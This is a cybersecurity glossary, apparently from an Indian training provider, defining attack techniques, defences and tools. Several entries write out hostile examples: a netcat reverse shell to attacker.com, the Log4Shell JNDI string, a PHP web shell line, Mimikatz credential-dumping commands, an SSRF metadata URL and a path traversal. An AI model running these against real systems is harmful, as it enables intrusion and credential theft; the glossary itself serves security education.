Progressively moving through a network after initial access. Methods: Pass-the-Hash, Pass-the-Ticket, PsExec (SMB admin shares), WMI/PowerShell remoting, RDP. Network segmentation limits blast radius. Detection: new logon events on previously unaccessed systems, unusual authentication patterns.

Injection against applications using LDAP queries with unvalidated input. Allows manipulation of authentication queries and access to unauthorised directory data. Prevention: input validation, parameterised LDAP queries, restrictive LDAP bind accounts.

Every user, process, and system should operate with only the minimum permissions required. Limits breach blast radius. Implementation: RBAC, JIT elevated access, regular access reviews, removing local administrator rights from end users. The most consistently recommended control across all security frameworks.

Using legitimate, pre-installed system tools for malicious purposes. Windows examples: certutil.exe (file download), mshta.exe (HTML app execution), regsvr32.exe, wmic.exe, bitsadmin.exe. LOLBAS Project (free) catalogues all abusable Windows binaries. Detection requires behavioural analysis of what binaries are doing.

Abusing legitimate trusted websites (GitHub, Pastebin, Google Drive, Dropbox) to host malicious payloads or C2 communications. Traffic to these domains blends with legitimate use and bypasses URL-based firewall rules. Detection requires DLP inspection of content exchanged with these services.

Reviewing, correlating, and querying log data to detect security events and investigate incidents. Core SOC analyst skill — writing KQL, SPL, or Sigma queries to surface relevant events from millions of daily log entries.

Injecting malicious content into log files that is later interpreted by a vulnerable log viewer. LFI-to-RCE via log poisoning: inject PHP code into Apache access.log, then include the log via LFI. Prevent: sanitise all logged data, use dedicated log viewers with no execution capabilities.

Critical JNDI injection vulnerability in Apache Log4j 2 — the attack string ${jndi:ldap://attacker.com/exploit} triggers outbound LDAP request and code execution. Disclosed December 2021. Still actively exploited years later. Demonstrates supply chain risk of widely-used open source dependencies.

Malicious code that executes when a specific condition is met — a date, user action, or system state. Often planted by malicious insiders. Detection: code review, separation of duties, monitoring for suspicious scheduled tasks and scripts with conditional logic.

Local Security Authority Subsystem Service — Windows process enforcing security policy and managing authentication. Stores cached credentials in memory: NTLM hashes and Kerberos tickets. The primary target for credential dumping. Protections: Protected Process Light, Credential Guard, EDR monitoring (Sysmon Event 10).

Malware delivered via malicious macros in Office documents. Microsoft 2022 decision to block macros from internet-sourced files significantly reduced effectiveness — attackers shifted to other delivery methods like OneNote files and LNK shortcuts.

Distributing malware through legitimate online advertising networks. Even reputable websites can display malicious ads without their knowledge. Drive-by downloads deliver malware via exploit kits when a vulnerable browser visits. Defence: ad blockers (uBlock Origin — free), regular browser updates.

Any software designed to disrupt, damage, or gain unauthorised access. Categories: Virus (self-replicating), Worm (self-propagating across networks), Trojan (masquerades as legitimate), Ransomware (encrypts files), Spyware (covert data collection), Rootkit (hides attacker presence), Cryptominer (resource abuse), Backdoor (persistent covert access), Fileless (memory-only).

Isolated virtual environment for executing and analysing malware safely. Free public sandboxes: any.run (interactive), Hybrid-Analysis, Joe Sandbox community edition, VirusTotal. Key limitation: sophisticated malware detects sandbox environments and behaves benignly.

Centralised platform for managing, securing, and enforcing policies on mobile devices. Capabilities: remote wipe, policy enforcement (require PIN, encryption, updated OS), app management, compliance checking (detect jailbreak/root). Microsoft Intune and Android Enterprise are common platforms. Essential for BYOD programmes and remote work security.

Outsourced security service providing 24x7 threat monitoring, detection, investigation, and response — combining technology with human analysts. Distinct from MSSP (typically alert forwarding only) in that MDR includes active response. Relevant for Indian SMEs without mature internal SOC capabilities.

Acquisition and analysis of RAM to extract evidence not present on disk — running processes, network connections, decrypted data, encryption keys, attacker tools. Volatility 3 (free) is the primary framework. CGF DFIR Bootcamp covers Volatility 3 in depth.

Programming languages preventing memory corruption vulnerabilities by design — eliminating buffer overflows, use-after-free, and null pointer dereferences. Rust (ownership model), Go, Swift, Kotlin. US CISA and NSA recommend migrating from C/C++ to memory-safe alternatives. Over 70% of Microsoft and Chrome security vulnerabilities are memory safety issues.

Authentication requiring two or more independent factors. MFA prevents most credential-based attacks. OTP-based MFA (TOTP codes) is vulnerable to AiTM phishing. FIDO2/WebAuthn (hardware keys) is the only type that fully prevents AiTM attacks.

Fine-grained network segmentation at the workload or application level — each workload has its own communication policy even within the same subnet. Limits lateral movement: a compromised web server cannot communicate with the database server unless explicitly policy-permitted. Implemented via software-defined networking and Zero Trust architecture.

Open-source tool for Windows credential extraction. Key commands: sekurlsa::logonpasswords (extracts NTLM hashes from LSASS), kerberos::golden (creates Golden Tickets), lsadump::dcsync (replicates DC credentials). Detection requires behavioural analysis of LSASS access patterns — attackers use obfuscated variants to evade signatures.

Malware Information Sharing Platform — free, open-source threat intelligence platform for storing, sharing, and correlating IOCs. Supports STIX/TAXII, automated feeds from abuse.ch, AlienVault OTX, and government CERTs. The most widely-deployed free threat intelligence platform globally.

Community-maintained knowledge base of adversary TTPs based on real-world observations. 14 tactics, 200+ techniques, 400+ sub-techniques across Enterprise, Mobile, and ICS matrices. ATT&CK Navigator (free) visualises technique coverage. Updated quarterly by MITRE.

MITRE defensive countermeasure knowledge graph — the complement to ATT&CK. Maps defensive techniques (network isolation, credential hardening, process analysis) to the ATT&CK offensive techniques they counter. Enables defenders to identify coverage gaps. Free at d3fend.mitre.org.

Mass exploitation of a zero-day SQL injection vulnerability (CVE-2023-34362) in Progress Software MOVEit Transfer by the Cl0p ransomware group. Over 2,500 organisations affected including UK government payroll providers and US agencies — exposing 66+ million people. Pre-positioned exploitation script executed simultaneously across all targets.

System controlling which devices can access a network based on identity, compliance status, and context. Non-compliant devices are quarantined. Cisco ISE and PacketFence (free, open-source) are common implementations.

Security technology monitoring network traffic to detect threats. Zeek (free) plus RITA (free, Black Hills IS) provides a capable free NDR foundation for C2 beaconing detection, lateral movement detection, and data exfiltration analysis.

Free networking utility — port scanning, file transfer, debugging. Used by attackers for bind shells and reverse shells. Reverse shell in one line: nc -e /bin/bash attacker.com 4444. Detection: netcat connections from unusual processes or ports.

Capture, recording, and analysis of network traffic for investigation. Key data sources: PCAP (full packet capture), NetFlow/IPFIX (connection metadata), Zeek logs (application-layer parsing). Wireshark (free) for PCAP analysis, NetworkMiner (free) for passive forensics.

Dividing a network into isolated zones with restricted inter-zone communication. A compromised workstation in a properly segmented network cannot directly reach production servers or domain controllers. The Purdue Model is the standard for OT/ICS environments.

NIST Cybersecurity Framework — voluntary framework for managing cybersecurity risk. CSF 2.0 (2024) functions: Govern (new), Identify, Protect, Detect, Respond, Recover. Referenced in CERT-In guidelines. Widely adopted by Indian enterprises alongside ISO 27001.

Security property ensuring a party cannot deny having performed an action. Digital signatures provide non-repudiation — only the private key holder could have signed the message. Critical for legal and compliance contexts where actions must be attributable to specific individuals.

Microsoft older challenge-response authentication protocol still widely used. NTLM hash reuse enables Pass-the-Hash attacks. NTLM relay attacks (using Responder, ntlmrelayx) capture and relay NTLM authentication without needing to crack the hash. Hardening: disable NTLMv1, enforce NTLMv2, require SMB signing.

National Vulnerability Database — US government repository of CVE data enriched with CVSS scores, CPE information, and references. Maintained by NIST. Free API provides programmatic access. The authoritative source for vulnerability metadata used by every major vulnerability management platform.

Authorisation framework allowing users to grant third-party apps limited account access without sharing passwords. Security vulnerabilities: missing state parameter (CSRF), open redirect in redirect_uri (authorization code theft), insufficient scope validation (privilege escalation). Consistently produces High-severity bug bounty findings.

Attacker positioned between two communicating parties to intercept, read, modify, or inject communications. Also called MitM or AitM. HTTPS with HSTS, certificate pinning, and DNSSEC mitigate on-path attacks.

Vulnerability where an application redirects users to attacker-specified URLs without validation. Used for phishing (trusted domain URL used to redirect to evil.com) and OAuth token theft. Low severity in isolation but chains to Critical in OAuth attack scenarios.

Protecting sensitive information that could advantage an adversary. Applies to: threat actors (protecting infrastructure and techniques), security researchers (protecting investigation methods), and organisations (protecting security capabilities from disclosure).

Offensive Security Certified Professional — the gold standard penetration testing certification from Offensive Security. Features a 24-hour practical exam requiring exploitation of multiple machines. Highly valued by employers and red teams. Complemented by OSEP (Advanced Evasion), OSED (Exploit Development), and OSWP (Wireless) for specialist tracks.

Open Source Intelligence — intelligence from publicly available sources. Key free tools: Maltego CE, Shodan, Amass, theHarvester, crt.sh, SpiderFoot, Sherlock, ExifTool. CGF OSINT Masterclass covers the complete methodology including India-specific sources.

Granting more access permissions than required — extremely common in cloud environments. IAM policies with wildcard permissions, service accounts with AdministratorAccess. Amplifies the impact of account compromise. AWS IAM Access Analyzer, Azure Access Review, and GCP Policy Analyser detect overprovisioned access.

The most critical web application security risks. 2021 edition: A01 Broken Access Control, A02 Cryptographic Failures, A03 Injection, A04 Insecure Design, A05 Security Misconfiguration, A06 Vulnerable Components, A07 Authentication Failures, A08 Data Integrity Failures, A09 Logging Failures, A10 SSRF. OWASP API Security Top 10 specifically covers API vulnerabilities.

Technology controlling, monitoring, and recording access to privileged accounts. Core features: credential vaulting (passwords stored and rotated automatically), session recording (full video of privileged sessions), just-in-time access (temporary grants). Free/open-source: HashiCorp Vault. Addresses the highest-risk accounts — those that can cause organisation-wide damage if compromised.

Lateral movement using a captured NTLM hash to authenticate to network services without knowing the plaintext password. Mitigation: Credential Guard, LAPS (unique local admin passwords per machine), disabling NTLMv1, network logon restrictions.

Lateral movement using stolen Kerberos tickets to authenticate to services. Works in environments that have disabled NTLM. Mitigation: Protected Users security group (prevents TGT caching to disk), short Kerberos ticket lifetimes.

Historical DNS resolution data — records of which IP addresses a domain resolved to over time. Enables threat intelligence: tracking attacker infrastructure, pivoting from a known malicious domain to related domains on the same IP. Free sources: CIRCL Passive DNS (registration required), SecurityTrails (free tier).

Software generating, storing, and autofilling unique random passwords — eliminating password reuse. Enables every account to have a unique, high-entropy password without requiring memorisation. Free/open-source: Bitwarden, KeePass. Better than any password policy humans can realistically follow.

Testing one or a few common passwords against many accounts to avoid lockout thresholds. Common targets: Password123!, Welcome1, season+year patterns. Detection: distributed logon failures across many accounts from a single source.

Systematic process for identifying, acquiring, testing, and deploying patches. SLA windows: Critical: 24-72 hours, High: 7-14 days, Medium: 30 days. Unpatched vulnerabilities cause the majority of successful breaches. CERT-In guidelines require documented patch management with defined SLAs.

Accessing files outside the intended directory via ../ sequences in file path parameters. Target files: /etc/passwd, /etc/shadow, web server config files with database credentials. Prevented by canonical path validation after resolving all traversal sequences.

Disguising malicious code from security controls via Base64, XOR encryption, PowerShell encoding (-EncodedCommand), and executable packing. Modern EDR focuses on behaviour — what code does, not what it looks like — making obfuscation less effective against behavioural controls.

Authorised simulated cyberattack evaluating security posture. Phases: Reconnaissance, Scanning/Enumeration, Exploitation, Post-Exploitation, Reporting. Output: confirmed vulnerabilities, PoC evidence, business impact assessment, and remediation steps. CERT-In mandates annual penetration tests for many regulated Indian organisations.

Maintaining access across restarts and credential changes. Windows mechanisms: scheduled tasks (T1053.005), registry Run keys (T1547.001), services (T1543.003), WMI event subscriptions (T1546.003). Detection: Velociraptor PersistenceSniper artifact checks 80+ persistence locations fleet-wide.

Fraudulent communications appearing from trusted sources to deceive recipients into revealing credentials or clicking malicious links. Spear phishing: targeted, personalised. Whaling: targets executives. Vishing: voice calls. Smishing: SMS. India sees significant phishing targeting banking, Aadhaar, and UPI users.

Framework for creating, managing, distributing, using, storing, and revoking digital certificates. Enables TLS/HTTPS, code signing, email signing, VPN authentication. India Controller of Certifying Authorities (CCA) operates the national PKI hierarchy.

Code or demonstration proving a vulnerability exists and is exploitable without causing actual damage. Essential for bug bounty and penetration testing — programme operators need to reproduce the finding before triaging. Good PoC: minimal, targeted, non-destructive, clearly shows impact.

Malware that changes its code signature with each infection while maintaining the same functionality — evading signature-based detection. Can generate millions of unique samples from a single codebase. Detection requires behavioural analysis rather than signature matching.

Probing network systems to discover open ports and running services. Nmap (free, gold standard) supports TCP SYN (stealth), version detection (-sV), and OS fingerprinting (-O). Masscan (free) scans the entire internet in under 6 minutes. Detection: network IDS signatures for Nmap patterns.

The attack phase after initial access: establishing persistence, escalating privileges, lateral movement, and working toward the final objective. Free frameworks: Metasploit, Sliver, Covenant. All post-exploitation techniques are documented in MITRE ATT&CK.

Cryptographic algorithms designed to resist quantum computer attacks. NIST finalised PQC standards in 2024: ML-KEM, ML-DSA, SLH-DSA. Harvest Now Decrypt Later attacks are already occurring — adversaries collect encrypted traffic today to decrypt when CRQCs are available. Migration planning must begin now.

PowerShell is a primary attacker tool for fileless malware, credential dumping, lateral movement, and C2 communications. Hardening: Constrained Language Mode, Script Block Logging (Event ID 4104), Module Logging (Event ID 4103), AMSI (scans scripts before execution). Attackers bypass via encoding, AMSI patching, and PowerShell version downgrade.

Creating a fabricated scenario to manipulate targets into providing information or performing actions. Examples: impersonating IT helpdesk (requesting credentials to fix an issue), bank fraud investigator. Detection: verify identity through out-of-band channels for any sensitive request.

Gaining higher access levels. Vertical: standard user to admin/root. Horizontal: another account at the same level. Linux: SUID binary abuse, sudo misconfigurations. Windows: token impersonation (Potato attacks), UAC bypass, DLL hijacking. Cloud: IAM privilege escalation paths (27 documented for AWS).

Running malicious code within a legitimate process address space. Variants: DLL injection, reflective DLL injection, process hollowing, thread hijacking, CreateRemoteThread injection. Detection: Sysmon Event 8 (CreateRemoteThread) and Event 10 (ProcessAccess).

Collaborative approach combining Red Team and Blue Team in structured exercises. Red executes a technique, Blue attempts to detect it, both analyse results and tune detection together. More efficient than blind red teaming for improving defensive capabilities.

Modular banking trojan evolved into a ransomware distribution platform delivering Black Basta and Conti. Delivered via phishing with malicious Office documents. US DOJ disrupted QakBot infrastructure in August 2023 but operations resumed via phishing campaigns in late 2023.

Risk assessment using numerical values. Components: Asset Value (AV), Exposure Factor (EF), Single Loss Expectancy (SLE = AV x EF), Annual Rate of Occurrence (ARO), Annual Loss Expectancy (ALE = SLE x ARO). Communicates risk in financial terms to executives and enables comparing control costs against expected loss reduction.

Quantum computers solve mathematical problems exponentially faster. Shor algorithm breaks RSA, ECC, and Diffie-Hellman — the cryptographic foundations of TLS, SSH, and PKI. A Cryptographically Relevant Quantum Computer is estimated 5-15 years away. Harvest Now Decrypt Later attacks mean migration planning must begin now.

Vulnerability where behaviour depends on event timing that an attacker can manipulate. In web applications: concurrent requests to redeem a gift card before the server marks it used. Testing tool: Burp Turbo Intruder (free) for precise timing attacks.

Precomputed tables of password hashes for efficient cracking. Effective against unsalted hashes — MD5, SHA-1, NTLM without salt. Countered by password salting. Crackstation.net (free) provides lookup against 15 billion precomputed hashes.

Malware encrypting victim files and demanding payment. Modern operations are Ransomware-as-a-Service (RaaS) — developers build it, affiliates deploy it and share revenue. Double extortion: encrypt AND exfiltrate data. India is among the top 5 most-targeted countries globally.

Vulnerability allowing code execution on a target system over a network. Universally Critical severity — complete system compromise. Mass-exploitation RCE CVEs (Log4Shell, MOVEit, EternalBlue) affect millions of systems simultaneously. Bug bounty programmes pay $10,000-$1,000,000 for RCE on production systems.

Remote Desktop Protocol (port 3389) is a primary initial access and lateral movement target. Attacks: credential brute force on exposed RDP, BlueKeep (CVE-2019-0708 — pre-auth RCE). Mitigation: move RDP behind VPN, enable Network Level Authentication, implement MFA.

First phase of an attack gathering information about the target. Passive: OSINT, WHOIS, DNS records, Certificate Transparency, job postings, LinkedIn, Shodan. Active: port scanning, vulnerability scanning.

Group simulating real threat actors using the same TTPs as actual adversaries to test detection and response. Operations are extended (weeks to months), stealthy, and objective-driven. Red team findings drive blue team improvement via Purple Team exercises.

Capturing and retransmitting a valid authentication token or session cookie to gain unauthorised access. Countered by: nonces (unique random values per request), timestamps (short validity windows), and session tokens invalidated after use.

A compromised system initiating an outbound connection to the attacker, giving a command shell. Because outbound connections are typically permitted by corporate firewalls, reverse shells bypass inbound-blocking rules. Detection: unexpected outbound connections from servers to uncommon ports.

The amount and type of risk an organisation is willing to accept in pursuit of its objectives. Board and executive leadership define risk appetite — security teams operate within it. Drives security investment decisions and prioritisation of remediation efforts.

Identifying, assessing, and treating information security risks. Risk treatment options: Accept, Mitigate (reduce via controls), Transfer (insurance/contractual liability), Avoid (discontinue the risky activity). ISO 27005 and NIST SP 800-30 provide risk assessment methodologies.

Malware hiding its presence from the OS and security tools. User-mode: hooks OS APIs. Kernel-mode: modifies the OS kernel. Bootkit: infects MBR or UEFI firmware — persisting even after OS reinstallation. CosmicStrand and MoonBounce are UEFI rootkits discovered in the wild.

SAML is XML-based SSO between identity providers and service providers. Attack vectors: XML signature wrapping (manipulating signed assertions without breaking the signature), forged assertions, and SAML replay. The SolarWinds breach involved forged SAML tokens.

Isolated execution environment for running untrusted software safely. Sandboxed malware analysis captures: network connections, file system changes, registry modifications, process creation, and API calls. Advanced malware detects sandbox environments via VM checks and timing analysis.

Static Application Security Testing — analysing source code without execution to find vulnerabilities before runtime. Tools: Semgrep (free), CodeQL (free for open source), SonarQube community edition. Finds injection flaws, hardcoded credentials, and insecure API usage at the code level.

Identifying known vulnerabilities in third-party and open-source software components. Free tools: OWASP Dependency-Check, npm audit, pip-audit, Snyk (free community tier). Essential after Log4Shell — affected any Java application using Log4j 2.0-2.14.1.

Security for Supervisory Control and Data Acquisition systems managing physical processes (power, water, oil, manufacturing). SCADA-specific challenges: 20-30 year device lifecycles, real-time constraints, no-downtime requirement, and IT/OT convergence. CGF OT/ICS Bootcamp covers SCADA security in depth.

UEFI security standard ensuring only trusted, cryptographically signed bootloaders execute at startup. Prevents bootkit and UEFI rootkit persistence. Measured Boot records all boot components in TPM PCR registers for remote attestation of integrity.

Education programmes teaching employees to recognise security threats. Effective SAT: phishing simulations with immediate teachable moment feedback, regular training, and role-specific content. Well-implemented SAT reduces phishing click rates from 30%+ to below 5%.

Insecure defaults, unnecessary features enabled, overpermissive access controls — OWASP A05 2021. Examples: default credentials, verbose error messages, directory listing enabled, cloud storage publicly accessible. Automated scanning (Prowler, ScoutSuite, Nuclei — all free) continuously discovers misconfigurations.

Vulnerability where an application allows authentication with a pre-set session ID rather than generating a new one post-authentication. Prevention: always generate a new session ID after successful authentication — never accept user-supplied session identifiers.

Stealing a valid authenticated session token and using it to impersonate the victim. Methods: XSS (cookie theft), MitM interception, session fixation. Defence: HttpOnly cookies (prevent XSS theft), Secure flag (HTTPS only), SameSite attribute.

Technology systems used within an organisation without IT or security department approval. Employees use personal cloud storage, SaaS tools for work — bypassing security controls and compliance requirements. Discovery: CASB tools, DNS monitoring, network traffic analysis.

Machine code injected into a target process to perform arbitrary operations — typically opening a shell or establishing C2. Modern shellcode uses direct syscalls to evade API hook monitoring, reflective loading to avoid disk writes, and encryption to evade memory scanning.

Search engine for internet-connected devices — scans the entire internet and indexes open ports, running services, TLS certificates, and HTTP headers. For security: discovering your own exposed assets, finding outdated software before attackers do. Free tier at shodan.io. InternetDB API (free, no key required) provides instant IP lookups.

Security Information and Event Management — collects, aggregates, normalises, and correlates log data to generate alerts. Quality depends entirely on detection content quality — poorly tuned rules produce alert fatigue. Free option: Elastic Security with the full free tier.

Generic, vendor-agnostic YAML-based detection rule format convertible to any SIEM query language (KQL, SPL, YARA-L). SigmaHQ community repository (free) maintains 3,000+ rules covering every major ATT&CK technique. Write once, deploy anywhere.

Creates a forged Kerberos Service Ticket using a service account NTLM hash — granting access to that specific service without contacting the KDC. Harder to detect than Golden Ticket attacks — Silver Ticket use generates no KDC event logs.

SMS phishing. India: significant smishing targeting HDFC, SBI, UIDAI, Income Tax, UPI platforms (BHIM, PhonePe, Google Pay). Links lead to credential-harvesting pages or trigger malware downloads.

Security Orchestration, Automation and Response — automates security workflows: collecting alerts, enriching with context, executing response playbooks. Reduces Mean Time to Respond from hours to minutes. TheHive (free, open source) is a leading free SOAR and case management platform.

Security Operations Centre — team responsible for continuous monitoring, detection, analysis, and response. Tiers: Tier 1 (alert triage), Tier 2 (incident investigation), Tier 3 (threat hunting), Detection Engineer. CGF SOC Analyst Bootcamp is a 365-day, 20-module structured programme.

Documented procedures for responding to specific incident types — guiding analysts through investigation and response steps. A phishing playbook: isolate the endpoint, extract IOCs, search SIEM, notify affected users, submit IOCs to threat intel, update email gateway rules. SOAR platforms automate playbook execution.

Targeted phishing customised for specific individuals using personal OSINT — name, role, recent activities, colleagues. Dramatically more effective than generic phishing. The SolarWinds breach began with a spear phishing campaign.

User-supplied input concatenated directly into SQL queries without sanitisation. A single apostrophe causing a database error is the classic indicator. Impact: authentication bypass, full database extraction, and OS command execution. Completely preventable with parameterised queries.

Authentication mechanism allowing users to log in once and access multiple applications without re-authenticating. Protocols: SAML 2.0 (enterprise), OAuth 2.0 + OIDC (web/mobile), Kerberos (internal Windows). Reduces password fatigue. Concentration risk: IdP compromise gives access to all connected applications simultaneously.

Vulnerability causing a server to make HTTP requests to attacker-specified destinations. Injecting http://169.254.169.254/latest/meta-data/ redirects server requests to AWS Instance Metadata — potentially returning IAM credentials. Consistently Critical on cloud applications.

Hiding data within other data — embedding malicious payloads in images or audio. Attackers use steganography to exfiltrate data disguised as innocent image uploads or to hide C2 instructions within images on public websites.

Occurs when a DNS record points to a cloud service with no longer-active resource. An attacker registers the resource on that provider and controls content served from the company subdomain. subjack (free) automates detection at scale.

Attacking an organisation by compromising a trusted supplier. Methods: software update mechanism compromise (SolarWinds Orion), malicious packages in public repositories (npm, PyPI), compromised managed service providers.

Protecting against threats introduced through the supply chain — software dependencies, third-party vendors, hardware, and managed service providers. Controls: SBOM (software bill of materials), vendor security assessments, code signing verification, SCA for dependency vulnerabilities.

Microsoft free System Monitor logging detailed Windows system activity. Key events: 1 (process creation with full command line and parent), 3 (network connections with process), 8 (CreateRemoteThread — injection detection), 10 (LSASS access — credential dumping detection), 22 (DNS queries). SwiftOnSecurity and Olaf Hartong publish free, tuned Sysmon configurations.

Physical security attack where an unauthorised person follows an authorised person through a secured entry point — relying on social courtesy. Countermeasures: mantrap (double door), turnstiles, security guards, visitor management procedures.

Any individual, group, or organisation conducting malicious cyber activities. Classification by motivation: Nation-State (strategic intelligence), Cybercriminal (financial gain), Hacktivist (ideological), Insider (employee misuse), Script Kiddie (unsophisticated). Focus on TTP patterns rather than attribution for defensive operations.

Replicating specific threat actor TTPs to test detection and response capabilities. Distinct from penetration testing — threat emulation tests whether controls detect a specific actor specific techniques. Free tools: MITRE Caldera, Atomic Red Team, Prelude Operator community edition.

Structured streams of threat intelligence data — IOCs associated with malicious activity. Free feeds: abuse.ch (MalwareBazaar, URLhaus, Feodo Tracker, ThreatFox), AlienVault OTX, CISA KEV catalog. MISP automates feed ingestion and correlation across multiple sources.

Proactive analyst-driven search for threats that have evaded automated detection. Hunters develop structured hypotheses, systematically query log data, and confirm or refute them. CGF Threat Hunting Bootcamp is a 270-day programme covering hypothesis development, SIEM hunting, endpoint hunting (Velociraptor), and detection engineering.

Software centralising threat intelligence collection, management, analysis, and sharing. Core functions: feed ingestion, IOC management, threat actor profiling, and SIEM/EDR integration. MISP (free, open-source) is the most widely deployed TIP globally. OpenCTI (free, open-source) provides a modern graph-based alternative.

The current state of cyber threats facing a specific organisation, sector, or geography — active threat actors, prevalent techniques, emerging vulnerabilities. Understanding your specific threat landscape drives prioritisation. Sources: sector ISACs, CERT-In advisories, commercial threat intelligence, and industry peer sharing.

Structured approach to identifying and prioritising security threats. Methodologies: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege), PASTA, LINDDUN (privacy-focused). Performed at design phase — much cheaper to address threats before implementation.

Modifying file metadata timestamps to disguise malicious activity. NTFS stores timestamps in $STANDARD_INFORMATION (easily modified) and $FILE_NAME (harder to modify). Forensic evidence: $FILE_NAME timestamp anomalies reveal timestomping. Detection: Sysmon Event 2 captures file creation time changes.

Transport Layer Security — cryptographic protocol providing communications security. TLS 1.2 is the current minimum; TLS 1.3 is preferred. SSL and early TLS versions are broken. Weak TLS configurations are common low/medium bug bounty findings. Test with testssl.sh (free).

Stealing authentication tokens (OAuth tokens, session cookies, JWT, Kerberos tickets) to impersonate authenticated users without credentials. Bypasses MFA — the attacker has the token, not the credentials. Short token lifetimes and token binding reduce impact.

The Onion Router — provides anonymity by routing traffic through multiple encrypted relays. Used for legitimate privacy and cybercriminal infrastructure (dark web markets, ransomware leak sites). Tor exit node lists are published publicly — SOC teams flag Tor-sourced authentication attempts as high-suspicion.

Time-Based One-Time Password — a 6-8 digit code changing every 30 seconds (RFC 6238). Implemented by Google Authenticator, Microsoft Authenticator, Authy. TOTP codes are phishable in real-time attacks — a sophisticated phishing site can capture and relay the code before it expires. FIDO2/WebAuthn is the phishing-resistant alternative.

Pakistan-nexus threat actor primarily targeting Indian government, military, defence, and educational institutions since 2013. Known TTPs: spear phishing with geopolitical lures, Crimson RAT (custom malware), Android malware disguised as Indian government apps.

Malware disguised as legitimate software. Does not self-replicate — relies on social engineering. Categories: RAT (full remote control), banking Trojan (credential theft from financial sites), dropper (downloads other malware). Modern Trojans (QakBot, TrickBot) act as initial access vehicles delivering ransomware.

Methods and behavioural patterns of threat actors. Tactics: high-level goals. Techniques: specific methods. Procedures: specific actor implementation. TTPs are far more durable than IOCs — actors change IPs and domains daily but rarely change fundamental techniques. Hunt on TTPs for durable detection coverage.

Registering domains similar to legitimate sites — exploiting typographical errors or homographic substitution (visually identical characters from different Unicode scripts). Used for phishing, malware distribution, and supply chain attacks (malicious npm/PyPI packages with near-identical names).

Windows security feature requiring approval for privileged operations. Bypass techniques elevate privileges without showing the prompt: fodhelper.exe, eventvwr.exe, mock trusted directories. Detection: unexpected high-integrity processes spawned from unusual parents (Sysmon Event 1).

User and Entity Behaviour Analytics — establishes baseline behavioural profiles and alerts on statistically significant deviations. Detects: impossible travel, off-hours access, mass data access, and new external email recipients. Primary technology for insider threat detection.

Exploiting inconsistencies in Unicode character handling. Types: normalisation attacks (bypassing filters via equivalent representations), homograph attacks (visually identical characters from different scripts), and RTLO (right-to-left override to disguise malicious filenames).

A known vulnerability with an available patch that has not been applied — responsible for the majority of successful cyberattacks. Effective management: regular scanning, prioritisation using CVSS plus EPSS plus CISA KEV, and time-bound patching SLAs.

Modifying URL components to bypass access controls or access unauthorised resources. Techniques: path traversal (../../../etc/passwd), parameter tampering (changing price=100 to price=1), forced browsing (accessing /admin without authentication), and HTTP verb tampering.

Memory corruption vulnerability where a program uses a pointer after the memory it references has been freed. If the attacker can control the reallocated memory contents, they can manipulate program execution. The most common critical severity CVE class in browsers. Memory-safe languages (Rust) eliminate UAF by construction.

Creating and removing user accounts and access rights as employees join, change roles, and leave. Deprovisioning failures — accounts remaining active after employment ends — are a significant insider threat and compliance risk. Automated provisioning via HR system integration and IGA tools reduces errors and delays.

Free, open-source endpoint visibility, hunting, and DFIR platform. Deploys a lightweight agent allowing VQL queries fleet-wide in real time — querying running processes, network connections, and forensic artefacts across thousands of endpoints simultaneously. The most powerful free endpoint security and forensics tool available.

Identifying, assessing, and mitigating risks introduced by third-party vendors. Steps: vendor inventory (who has access to our data?), security questionnaire (SIG, CAIQ), evidence review (ISO 27001, SOC 2 reports), contractual controls, and ongoing monitoring. Third-party breaches have become the most common breach vector.

Exploiting a hypervisor vulnerability to break out of a guest VM and access the host system or other VMs. Extremely high severity in multi-tenant cloud environments. Historical examples: VENOM (CVE-2015-3456 — QEMU SCSI floppy driver), various Xen vulnerabilities.

Self-replicating malware attaching to legitimate host files and executing when the infected file runs. Distinguished from worms (no host file needed) and Trojans (no self-replication). Modern malware rarely uses classical virus techniques — fileless malware and process injection are more effective.

Voice phishing via phone call. Attackers impersonate IT support, bank fraud teams, or government officials. AI voice cloning dramatically lowered the barrier — cloned executive voices for CEO fraud. India sees significant vishing targeting banking customers and UPI users.

The leading open-source memory forensics framework. Volatility 3 (free, Python-based) analyses memory dumps from Windows, Linux, and macOS. Key plugins: pslist (process list), netscan (connections), malfind (injected code detection), dumpfiles (file extraction from memory). CGF DFIR Bootcamp covers Volatility 3 in depth.

Creates an encrypted tunnel masking the user real IP. Corporate VPNs secure remote work. VPN infrastructure itself is heavily targeted — Pulse Secure, Fortinet, and Citrix VPN vulnerabilities have been mass-exploited. Zero Trust Network Access (ZTNA) is replacing VPN in enterprise environments.

SQL-like query language for interrogating endpoints via Velociraptor. Queries against endpoint artefacts: processes, network connections, files, registry, and forensic artefacts. Example: SELECT Pid, Name, CommandLine FROM pslist() WHERE CommandLine =~ "powershell" — returns all PowerShell processes fleet-wide.

Weakness exploitable to cause harm. Root causes: coding errors (injection flaws, buffer overflows), design flaws (broken authentication logic), configuration errors (default credentials), and third-party component weaknesses. Window between patch release and widespread deployment is when opportunistic attackers are most active.

Systematic identification and evaluation of security vulnerabilities without exploitation. Tools: OpenVAS/Greenbone (free, open-source), Nessus (commercial), Qualys VMDR. Output: a prioritised list of vulnerabilities with severity scores and remediation guidance. Complement with EPSS scores and CISA KEV for risk-based prioritisation.

Reporting a discovered vulnerability to the affected vendor. Responsible disclosure: private notification, 90-day remediation period (Google Project Zero standard), then public disclosure. Bug bounty programmes provide financial incentive. CERT-In has a vulnerability disclosure programme at cert-in.org.in.

Security control monitoring, filtering, and blocking HTTP traffic to web applications — protecting against OWASP Top 10 attacks. Cloud WAFs: AWS WAF, Cloudflare WAF, Azure Front Door WAF. WAF bypass techniques include encoding variations and HTTP request smuggling. A compensating control — not a replacement for secure code.

Infecting a website frequently visited by target victims. Attacker researches the target group online habits, compromises a trusted site, and plants malware exploiting visitors browsers. More targeted than phishing because the attacker waits for victims to come to them.

Manipulating web cache behaviour to serve malicious content to other users. The attacker discovers unkeyed inputs that influence the response and injects malicious values. Can achieve XSS against all users of a cached resource without targeting individuals.

Malicious code uploaded to a web server providing persistent remote access via the browser. PHP web shell one-liner: system($_GET[cmd]). Uploaded via file upload vulnerabilities, SQL injection, or CMS plugin vulnerabilities. Detection: file integrity monitoring, anomalous web requests containing OS commands.

Highly targeted spear phishing against senior executives. Extensively researched using OSINT — referencing real meetings and relationships. Goals: financial fraud (wire transfer authorisation), credential theft, or board-level network access. Multiple large Indian enterprises have suffered significant financial losses to whaling attacks.

Domain registration data providing ownership, registration dates, registrar, and nameserver information. Newly registered domains (under 30 days old) connected to from critical systems are high-suspicion. SecurityTrails (free tier) and WhoisXML API (free tier) provide WHOIS intelligence for threat investigations.
